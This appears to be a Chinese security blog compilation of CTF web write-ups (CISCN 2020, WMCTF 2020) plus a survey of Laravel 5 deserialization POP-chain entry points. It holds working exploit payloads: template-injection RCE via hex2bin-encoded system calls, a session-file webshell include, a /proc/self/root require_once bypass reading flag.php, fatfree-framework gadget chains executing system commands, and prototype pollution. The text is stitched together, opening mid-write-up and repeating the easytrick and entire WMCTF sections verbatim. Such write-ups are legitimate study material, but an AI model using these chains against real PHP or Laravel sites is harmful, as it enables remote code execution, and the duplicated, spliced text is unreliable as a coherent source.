2020-08-20-17-05-11.png

0x05 easytrick

题目给出了源码:

trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
            die("你太长了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("/flag");
        }
    }
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

题目考察了一个小trick,要求2个变量不相等,但md5相同,以往都需要使用诸如如下工具进行爆破:

https://github.com/upbit/clone-fastcoll

这里由于有长度限制,我们可以使用trick:

<?php
class trick{
    public $trick1=INF;
    public $trick2=1/0;
}
$exp = new trick();
echo serialize($exp);

即可进行bypass,访问:

http://eci-2ze6ie6rtdjhwozbsgmd.cloudeci1.ichunqiu.com/?trick=O:5:%22trick%22:2:{s:6:%22trick1%22;d:INF;s:6:%22trick2%22;d:INF;}

2020-08-20-19-49-58.png

即可获取flag。

0x06 后记

线上赛的web题还是比较简单的,可能是因为考虑参赛面广,入围资格也多吧。

0x00 前言

周末参加了一下国赛,有两年没参与了,还是一如既往的“吓人”。

0x01 babyunserialize

题目存在源码泄露:

http://eci-2ze0loaxjkuesryhroqr.cloudeci1.ichunqiu.com/www.zip

打开后发现是fatfree框架,进行代码审计,发现目标网站使用了php框架fatfree,且为最新版。同时关注到index.php路由:

$f3->route('GET /',
    function($f3) {
        echo "may be you need /?flag=";
    }
);
unserialize($_GET['flag']);

发现题目给了一个反序列化位置,且参数可控。

于是在网上搜索fatfree相关的rce chain,可以搜到此题曾在2020 WMCTF中出现过。

但搜索网上相关的pop chain,发现都没打通,于是选择自己思考。

虽然这里CLI\Agent::fetch()被删除,但其存在的send方法潜在安全隐患:

function send($op,$data='') {
$server=$this->server;
$mask=WS::Finale | $op & WS::OpCode;
$len=strlen($data);
$buf='';
if ($len>0xffff)
$buf=pack('CCNN',$mask,0x7f,$len);
elseif ($len>0x7d)
$buf=pack('CCn',$mask,0x7e,$len);
else
$buf=pack('CC',$mask,$len);
$buf.=$data;
if (is_bool($server->write($this->socket,$buf)))
return FALSE;
if (!in_array($op,[WS::Pong,WS::Close]) &&
isset($this->server->events['send']) &&
is_callable($func=$this->server->events['send']))
$func($this,$op,$data);
return $data;
}

此处注意到关键位置:

if (is_bool($server->write($this->socket,$buf)))
return FALSE;

我们发现,此处$server和$this->socket均可控,那么可以用来构造任意代码执行。但是存在问题,哪一个命令执行的php函数有2个参数,且第一个参数可控,第二个参数不可控就可以进行RCE?

这里想到create_function,我们可以利用如下方式,在第一个参数位置进行代码注入:

){}phpinfo();//

构造exp,并发现可以成功执行phpinfo:

2020-08-20-15-45-48.png

得到flag:

2020-08-20-15-46-00.png

0x02 easyphp

题目给出了源码:

<?php
    //题目环境:php:7.4.8-apache
    $pid = pcntl_fork();
    if ($pid == -1) {
        die('could not fork');
    }else if ($pid){
        $r=pcntl_wait($status);
        if(!pcntl_wifexited($status)){
            phpinfo();
        }
    }else{
        highlight_file(__FILE__);
        if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
        }
        posix_kill(posix_getpid(), SIGUSR1);
    }

此题有点不同寻常,和一般的web题有点差异,这里简单看了一下,我们需要在如下情况,才能调用phpinfo():

if(!pcntl_wifexited($status)){
        phpinfo();
    }

查阅手册:

2020-08-20-15-34-40.png

发现我们需要让子进程不正常退出,这里考虑到使用后面的call_user_func:

if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
        }

通过搜索php bug,可以得知:

https://bugs.php.net/bug.php?id=52173

这里我们可以利用pcntl_waitpid:

http://eci-2ze0y4x958n2qhsgv27b.cloudeci1.ichunqiu.com/?a=call_user_func&b=pcntl_waitpid

2020-08-20-15-39-33.png

即可在phpinfo中获取flag。

0x03 rceme

题目给出了源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
    $s=htmlspecialchars($s);
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s);
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){
        if(strpos($s,$val) !==false){
            die('很抱歉,执行出错,发现危险字符【'.$val.'】');
        }
    }
    if(preg_match("/^[a-z]$/i")){
        die('很抱歉,执行出错,发现危险字符');
    }
    return $s;
}
function parserIfLabel( $content ) {
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if ( preg_match_all( $pattern, $content, $matches ) ) {
        $count = count( $matches[ 0 ] );
        for ( $i = 0; $i < $count; $i++ ) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[ 1 ][ $i ];
            $ifstr=danger_key($ifstr,1);
            if(strpos($ifstr,'=') !== false){
                $arr= splits($ifstr,'=');
                if($arr[0]=='' || $arr[1]==''){
                    die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
                }
                $ifstr = str_replace( '=', '==', $ifstr );
            }
            $ifstr = str_replace( '<>', '!=', $ifstr );
            $ifstr = str_replace( 'or', '||', $ifstr );
            $ifstr = str_replace( 'and', '&&', $ifstr );
            $ifstr = str_replace( 'mod', '%', $ifstr );
            $ifstr = str_replace( 'not', '!', $ifstr );
            if ( preg_match( '/\{|}/', $ifstr)) {
                die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
            }else{
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
            }
            if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
                switch ( $flag ) {
                    case 'if':
                        if ( isset( $matches2[ 1 ] ) ) {
                            $out_html .= $matches2[ 1 ];
                        }
                        break;
                    case 'else':
                        if ( isset( $matches2[ 2 ] ) ) {
                            $out_html .= $matches2[ 2 ];
                        }
                        break;
                }
            } elseif ( $flag == 'if' ) {
                $out_html .= $matches[ 2 ][ $i ];
            }
            $pattern2 = '/\{if([0-9]):/';
            if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
                $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
                $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
                $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
                $out_html = $this->parserIfLabel( $out_html );
            }
            $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
        }
    }
    return $content;
}
function splits( $s, $str=',' ) {
    if ( empty( $s ) ) return array( '' );
    if ( strpos( $s, $str ) !== false ) {
        return explode( $str, $s );
    } else {
        return array( $s );
    }
}

简单搜了下,发现是ZZZCMS源码的一部分,参考链接如下:

https://cloud.tencent.com/developer/article/1576196

但是通过diff,发现这里的过滤比ZZZCMS多一些:

$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');

参考到这篇文章:

https://forum.90sec.com/t/topic/1239

其exp如下:

{if:array_map(base_convert(27440799224,10,32),array(1))}{end if}

考虑该题过滤了base_convert函数,这里想一个新的bypass方案,尝试使用hex2bin:

{if:array_map(hex2bin('73797374656d'),array('ls'))}{end if}

搭配使用system函数,即可rce获取flag:

{if:array_map(hex2bin('73797374656d'),array('cat /flag'))}{end if}

访问:

http://eci-2zed3ztpomt9lasf47o6.cloudeci1.ichunqiu.com/?a={if:array_map(hex2bin(%2773797374656d%27),array(%27cat%20/flag%27))}{end%20if}

2020-08-20-15-28-47.png

0x04 littlegame

题目给了源码,简单看一下:

var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const COMMODITY = {
    "sword": {"Gold": "20", "Firepower": "50"},
    // Times have changed
    "gun": {"Gold": "100", "Firepower": "200"}
}
const MOBS = {
    "Lv1": {"Firepower": "1", "Bounty": "1"},
    "Lv2": {"Firepower": "5", "Bounty": "10"},
    "Lv3": {"Firepower": "10", "Bounty": "15"},
    "Lv4": {"Firepower": "20", "Bounty": "30"},
    "Lv5": {"Firepower": "50", "Bounty": "65"},
    "Lv6": {"Firepower": "80", "Bounty": "100"}
}
const BOSS = {
    // Times have not changed
    "Firepower": "201"
}
const Admin = {
    "password1":process.env.p1,
    "password2":process.env.p2,
    "password3":process.env.p3
}
router.post('/BuyWeapon', function (req, res, next) {
    // not implement
    res.send("BOOS has said 'Times have not changed'!");
});
router.post('/EarnBounty', function (req, res, next) {
    // not implement
    res.send("BOOS has said 'Times have not changed'!");
});
router.post('/ChallengeBOSS', function (req, res, next) {
    // not implement
    res.send("BOOS has said 'Times have not changed'!");
});
router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag);
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }
});
router.get('/SpawnPoint', function (req, res, next) {
    req.session.knight = {
        "HP": 1000,
        "Gold": 10,
        "Firepower": 10
    }
    res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});
module.exports = router;

首先看如何获取flag:

router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag);
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }
});

发现只要:

if(Admin[key] === password){
    res.send(process.env.flag);
}

即可获取flag。这里不难发现:

const setFn = require('set-value');

存在原型链污染的问题,查看调用处:

router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});

发现key和value都可控,那就好办了,这里直接进行污染:

2020-08-20-17-04-56.png

然后去获取flag:

2020-08-20-17-05-11.png

0x05 easytrick

题目给出了源码:

trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
            die("你太长了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("/flag");
        }
    }
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

题目考察了一个小trick,要求2个变量不相等,但md5相同,以往都需要使用诸如如下工具进行爆破:

https://github.com/upbit/clone-fastcoll

这里由于有长度限制,我们可以使用trick:

<?php
class trick{
    public $trick1=INF;
    public $trick2=1/0;
}
$exp = new trick();
echo serialize($exp);

即可进行bypass,访问:

http://eci-2ze6ie6rtdjhwozbsgmd.cloudeci1.ichunqiu.com/?trick=O:5:%22trick%22:2:{s:6:%22trick1%22;d:INF;s:6:%22trick2%22;d:INF;}

2020-08-20-19-49-58.png

即可获取flag。

0x06 后记

线上赛的web题还是比较简单的,可能是因为考虑参赛面广,入围资格也多吧。

前言

周末打了下WMCTF,Web题量大且大多需要细致推敲,以下是部分Web题解。

web_checkin

签到题不多说了,似乎是出题的时候,忘记改flag名了……直接包含即可:

http://web_checkin.wmctf.wetolink.com/?content=/flag

2020-08-01-09-26-04.png

no_body_knows_php_better_than_me

题目如下:

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

题目只给了require_once函数,由于flag.php被包含过,所以无法读取其内容。那么需要思考一些方法:

· getshell

· bypass require_once check

这里先讲第一种做法,因为这题环境配置出现了非预期= =:

2020-08-01-19-32-53.png

我们可以利用session upload progress来控制session文件内容,并进行文件包含:

2020-08-01-19-33-03.png

从而达成getshell的目的:

view-source:http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=/tmp/skysec&skysec=system('cat flag.php');

2020-08-01-19-33-20.png

这个解法已经烂大街了,就不具体分析了~

web_checkin2

题目修正了之前的非预期,修改了flag名字:

<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
         die('hacker');
    if(file_exists($content))
        require_once($content);
    file_put_contents($content,'<?php exit();'.$content);
}

在该篇文章里已经有一定的分析了:

https://www.anquanke.com/post/id/202510

但文章中涉及的内容都被waf拦截了,这里有2种方式:

想出一个新的办法

利用file_put_content会解url编码的特性,进行2次编码绕过

二次编码就不提了,这里简单看一下新的方法,可以利用zlib.deflate和zlib.inflate解压缩的方式来绕过:

image.png

成功getshell:

2020-08-02-18-14-49.png

读取flag文件:

fffffllllllllaaaaaggggggg_as89c79as8

获得flag:

2020-08-02-18-17-27.png

Make PHP Great Again 2.0

此题修复了之前可用session upload progress进行getshell的非预期解法,那么只能尝试进行require_once的绕过了,分析到其实现源码:

2020-08-02-20-24-09.png

发现require文件时,在对软链接的操作上存在一些缺陷,似乎并不会进行多次解析获取真实路径。

但是如何找到flag.php文件的软链接呢?这里可以再如下路径中发现:

/proc/self/root/var/www/html/index.php

我们尝试套娃:

http://v2222.no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/index.php

发现可以成功包含文件:

2020-08-03-14-33-39.png

那么使用伪协议来读取flag:

http://v2222.no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

2020-08-02-20-44-59.png

webweb

题目又是给了一个反序列化语句:

unserialize($_GET['a']);

考察对gadget的串联能力。

这里还是从__destruct入手,选择CLI\Agent::__destruct:

    function __destruct() {
        if (isset($this->server->events['disconnect']))
        {
            $func=$this->server->events['disconnect'];
            if(is_callable($func)){
                $func($this);
            }
        }
    }

此处根据:

$this->server->events['disconnect']

我们可以尝试将$func控制为任意函数,随便选择一个类来使用:

2020-08-03-15-35-54.png

那么选择哪个函数来使用进行RCE就非常重要,这里由于无法控制参数,因此直接找php built-in函数或许不行。那么只能考虑构造__call的方法,来进行攻击,搜寻类似于如下情况的例子:

$xxx->xxxx($this->xxxx)

观察上述格式的语句可能出现的函数,然后兴许可以触发__call,并且达到参数可控的目的。

这里搜罗一番,可以找到CLI\Agent::fetch:

2020-08-03-15-38-26.png

此处,我们发现目标对象可控,参数可控,天时地利人和,只差危险的__call函数。

这里搜索__call函数需要优先考虑函数名可控情况,这里搜寻可发现DB\SQL\Mapper::__call:

function __call($func,$args) {
    return call_user_func_array(
    (array_key_exists($func,$this->props)?
    $this->props[$func]:
    $this->$func),$args
    );
}

其函数名为:

$this->props[$func]

完全可以通过数组进行bypass。

因此可构造exp:

image.png

当然这里在测试时,发现直接使用CLI\Agent不行,在autoload时:

2020-08-03-15-42-05.png

发现文件包含错误,导致我们反序列化时,找不到类的定义:

2020-08-03-15-42-26.png

于是先从CLI\WS入手,让其包含正确的CLI\Agent定义文件:

2020-08-03-15-20-24.png

我们来获取flag:

http://webweb.wmctf.wetolink.com/?a=O%3A6%3A%22CLI%5CWS%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A5%3A%22Image%22%3A1%3A%7Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A4%3A%22read%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A9%3A%22%00%2A%00socket%22%3Bs%3A2%3A%22ls%22%3B%7Di%3A1%3Bs%3A5%3A%22fetch%22%3B%7D%7D%7Ds%3A9%3A%22%00%2A%00socket%22%3Bs%3A0%3A%22%22%3B%7D%7D

2020-08-03-15-44-24.png

寻找flag文件:

    $a = new DB\SQL\Mapper(array("read"=>"system"));
    $b= new CLI\Agent($a,'find / | grep flag');
    $c = new Image(array("disconnect"=>array($b,'fetch')));
    $d = new CLI\Agent($c,'');
    $e = new CLI\WS($d);
    echo urlencode(serialize($e))."\n";

2020-08-03-15-45-04.png

获取flag:

    $a = new DB\SQL\Mapper(array("read"=>"system"));
    $b= new CLI\Agent($a,'cat /etc/flagzaizheli');
    $c = new Image(array("disconnect"=>array($b,'fetch')));
    $d = new CLI\Agent($c,'');
    $e = new CLI\WS($d);
    echo urlencode(serialize($e))."\n";

2020-08-03-15-45-57.png

后记

这次比赛web题量太大,还有一些题目值得推敲,后续有空复现再继续写吧XD~

前言

周末打了下WMCTF,Web题量大且大多需要细致推敲,以下是部分Web题解。

web_checkin

签到题不多说了,似乎是出题的时候,忘记改flag名了……直接包含即可:

http://web_checkin.wmctf.wetolink.com/?content=/flag

2020-08-01-09-26-04.png

no_body_knows_php_better_than_me

题目如下:

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

题目只给了require_once函数,由于flag.php被包含过,所以无法读取其内容。那么需要思考一些方法:

· getshell

· bypass require_once check

这里先讲第一种做法,因为这题环境配置出现了非预期= =:

2020-08-01-19-32-53.png

我们可以利用session upload progress来控制session文件内容,并进行文件包含:

2020-08-01-19-33-03.png

从而达成getshell的目的:

view-source:http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=/tmp/skysec&skysec=system('cat flag.php');

2020-08-01-19-33-20.png

这个解法已经烂大街了,就不具体分析了~

web_checkin2

题目修正了之前的非预期,修改了flag名字:

<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
         die('hacker');
    if(file_exists($content))
        require_once($content);
    file_put_contents($content,'<?php exit();'.$content);
}

在该篇文章里已经有一定的分析了:

https://www.anquanke.com/post/id/202510

但文章中涉及的内容都被waf拦截了,这里有2种方式:

想出一个新的办法

利用file_put_content会解url编码的特性,进行2次编码绕过

二次编码就不提了,这里简单看一下新的方法,可以利用zlib.deflate和zlib.inflate解压缩的方式来绕过:

image.png

成功getshell:

2020-08-02-18-14-49.png

读取flag文件:

fffffllllllllaaaaaggggggg_as89c79as8

获得flag:

2020-08-02-18-17-27.png

Make PHP Great Again 2.0

此题修复了之前可用session upload progress进行getshell的非预期解法,那么只能尝试进行require_once的绕过了,分析到其实现源码:

2020-08-02-20-24-09.png

发现require文件时,在对软链接的操作上存在一些缺陷,似乎并不会进行多次解析获取真实路径。

但是如何找到flag.php文件的软链接呢?这里可以再如下路径中发现:

/proc/self/root/var/www/html/index.php

我们尝试套娃:

http://v2222.no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/index.php

发现可以成功包含文件:

2020-08-03-14-33-39.png

那么使用伪协议来读取flag:

http://v2222.no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

2020-08-02-20-44-59.png

webweb

题目又是给了一个反序列化语句:

unserialize($_GET['a']);

考察对gadget的串联能力。

这里还是从__destruct入手,选择CLI\Agent::__destruct:

    function __destruct() {
        if (isset($this->server->events['disconnect']))
        {
            $func=$this->server->events['disconnect'];
            if(is_callable($func)){
                $func($this);
            }
        }
    }

此处根据:

$this->server->events['disconnect']

我们可以尝试将$func控制为任意函数,随便选择一个类来使用:

2020-08-03-15-35-54.png

那么选择哪个函数来使用进行RCE就非常重要,这里由于无法控制参数,因此直接找php built-in函数或许不行。那么只能考虑构造__call的方法,来进行攻击,搜寻类似于如下情况的例子:

$xxx->xxxx($this->xxxx)

观察上述格式的语句可能出现的函数,然后兴许可以触发__call,并且达到参数可控的目的。

这里搜罗一番,可以找到CLI\Agent::fetch:

2020-08-03-15-38-26.png

此处,我们发现目标对象可控,参数可控,天时地利人和,只差危险的__call函数。

这里搜索__call函数需要优先考虑函数名可控情况,这里搜寻可发现DB\SQL\Mapper::__call:

function __call($func,$args) {
    return call_user_func_array(
    (array_key_exists($func,$this->props)?
    $this->props[$func]:
    $this->$func),$args
    );
}

其函数名为:

$this->props[$func]

完全可以通过数组进行bypass。

因此可构造exp:

image.png

当然这里在测试时,发现直接使用CLI\Agent不行,在autoload时:

2020-08-03-15-42-05.png

发现文件包含错误,导致我们反序列化时,找不到类的定义:

2020-08-03-15-42-26.png

于是先从CLI\WS入手,让其包含正确的CLI\Agent定义文件:

2020-08-03-15-20-24.png

我们来获取flag:

http://webweb.wmctf.wetolink.com/?a=O%3A6%3A%22CLI%5CWS%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A5%3A%22Image%22%3A1%3A%7Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A4%3A%22read%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A9%3A%22%00%2A%00socket%22%3Bs%3A2%3A%22ls%22%3B%7Di%3A1%3Bs%3A5%3A%22fetch%22%3B%7D%7D%7Ds%3A9%3A%22%00%2A%00socket%22%3Bs%3A0%3A%22%22%3B%7D%7D

2020-08-03-15-44-24.png

寻找flag文件:

    $a = new DB\SQL\Mapper(array("read"=>"system"));
    $b= new CLI\Agent($a,'find / | grep flag');
    $c = new Image(array("disconnect"=>array($b,'fetch')));
    $d = new CLI\Agent($c,'');
    $e = new CLI\WS($d);
    echo urlencode(serialize($e))."\n";

2020-08-03-15-45-04.png

获取flag:

    $a = new DB\SQL\Mapper(array("read"=>"system"));
    $b= new CLI\Agent($a,'cat /etc/flagzaizheli');
    $c = new Image(array("disconnect"=>array($b,'fetch')));
    $d = new CLI\Agent($c,'');
    $e = new CLI\WS($d);
    echo urlencode(serialize($e))."\n";

2020-08-03-15-45-57.png

后记

这次比赛web题量太大,还有一些题目值得推敲,后续有空复现再继续写吧XD~

前言

Laravel 7中由于一些有所类修复,导致一些pop chain无法使用,于是这次在Laravel 5系列中,也做一次总结,列举比较适合的切入点和查找新链的思路。

遍地撒网

为了更好的找出切入点,我这里直接写了一个脚本,列举出所有包含__destruct的class和其__destruct的定义,并将laravel 5和laravel 7进行比对:

2020-07-22-11-31-17.png

其实不难发现,Laravel 7和Laravel 5在切入点这一块,并无太多的区别,几乎一致,一般修改均为一些微调。

同时我们可以搜寻一下切入点,一般分为如下几类:

· __destruct中$this->xxxx()调用形式

· __destruct中$this->xxx->yyy()调用形式

· __destruct中built-in function调用形式

那么本文对于laravel 5的pop chain寻找也围绕这3点进行展开。

$this->xxxx()调用形式

根据这个调用形式进行寻找,有比较知名的CVE-2019-9081,我们可以看到其函数定义:

Illuminate\Foundation\Testing\PendingCommand::__destruct
public function __destruct()
{
    if ($this->hasExecuted) {
        return;
    }
    $this->run();
}

此处run函数可以引入RCE风险,此处分析不再赘述,可以参考文章:

https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/

当然这个类在Laravel 7中已经被修复。

除此之外,还有包括上篇文章我们分析过的:

Illuminate\Routing\PendingResourceRegistration::__destruct
public function __destruct()
{
    if (! $this->registered) {
        $this->register();
    }
}

此处register函数可以引入RCE风险,也不再赘述,可以参考上一篇文章。

类似的调用情况同样很多,我简单列举几个:

GuzzleHttp\Cookie中常见的:

$this->save();

Monolog\Handler和Symfony\Component中常见的:

$this->close();

League\Flysystem中常见的:

$this->disconnect()

除此之外,还有一些在__destruct中出现频率不高的,如果感兴趣的都可以跟进进行尝试构造。

$this->xxx->yyy()调用形式

而对于这种调用形式,我们在之前的文章中提到过,其有2种思路进行利用:

· __call魔法方法

· 同名函数

我们看几个典型的例子:

Illuminate\Broadcasting\PendingBroadcast::__destruct
public function __destruct()
{
    $this->events->dispatch($this->event);
}

此处由于$this->events和$this->event均可控,因此可利用同名函数或__call的方式进行RCE pop chain的构造。

除此之外:

Symfony\Component\Routing\Loader\Configurator\ImportConfigurator::__destruct
public function __destruct()
{
    $this->parent->addCollection($this->route);
}

同样有着相似的问题,虽然可能没有同名危险函数,但可以利用__call来进行构造,配合Faker\Generator来构造RCE pop chain。

并且如下类也存在类似的问题:

Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator::__destruct
public function __destruct()
{
    if (null === $this->prefixes) {
        $this->collection->addPrefix($this->route->getPath());
    }
        $this->parent->addCollection($this->collection);
}

相应的,其实我们在构造同名函数RCE pop chain的时候其实还算好,但当构造__call的时候,由于call name一般不可控,毕竟Faker\Generator中name可通过数组控制的情况不算特别多,那么此时可能会遇到瓶颈。

所以这种形式的利用手段并不是想象中那么丝滑(,还是需要精心构造的。

built-in函数

此类情况一般偏少,我们将搜寻锁定在敏感函数上,例如:

call_user_func、call_user_func_array、system、eval......

这里不难直接发现一个类:

GuzzleHttp\Psr7\FnStream::__destruct
public function __destruct()
{
    if (isset($this->_fn_close)) {
        call_user_func($this->_fn_close);
    }
}

我们发现其直接调用了call_user_func,同时参数可控,为 $this->_fn_close,但难点在于该函数只可控第一个参数,因此这里我们可以想到能否调用类内方法,如果该方法不需传递参数且方法内敏感函数参数可控,为类内属性,那么即可利用。

这里不难想到,诸如:Illuminate\Foundation\Testing\PendingCommand的run方法,Illuminate\Routing\PendingResourceRegistration的register方法,都是可以通过其进行利用的。

当然这会显得有些取巧,如果你有兴趣的话,可以过一遍危险函数所在的方法,看看是不是其可以无参调用~

但是不幸的是,当前这个例子中,我们跟进类进行分析:

public function __wakeup()
{
    throw new \LogicException('FnStream should never be unserialized');
}

由于存在__wakeup,我们在利用这个chain的时候会抛出'FnStream should never be unserialized'的错误,而导致无法利用。

当然,我们也可以不仅仅找__destruct函数内的危险函数,尝试搜寻一些危险函数所在的方法和类,不难找到如下几个情况:PHPUnit\Framework\MockObject\Stub\ReturnCallback::invoke,关键代码如下:

public function invoke(Invocation $invocation)
{
    return \call_user_func_array($this->callback, $invocation->getParameters());
}

又如Mockery\Loader\EvalLoader::load,关键代码如下:

public function load(MockDefinition $definition)
{
    if (class_exists($definition->getClassName(), false)) {
        return;
    }
        eval("?>" . $definition->getCode());
}

诸如此类情况,我们都可以将其整合进call_user_func或者call_user_func_array可控2个参数的地方,例如和Illuminate\Broadcasting\PendingBroadcast::__destruct组合,构造新的chain。

后记

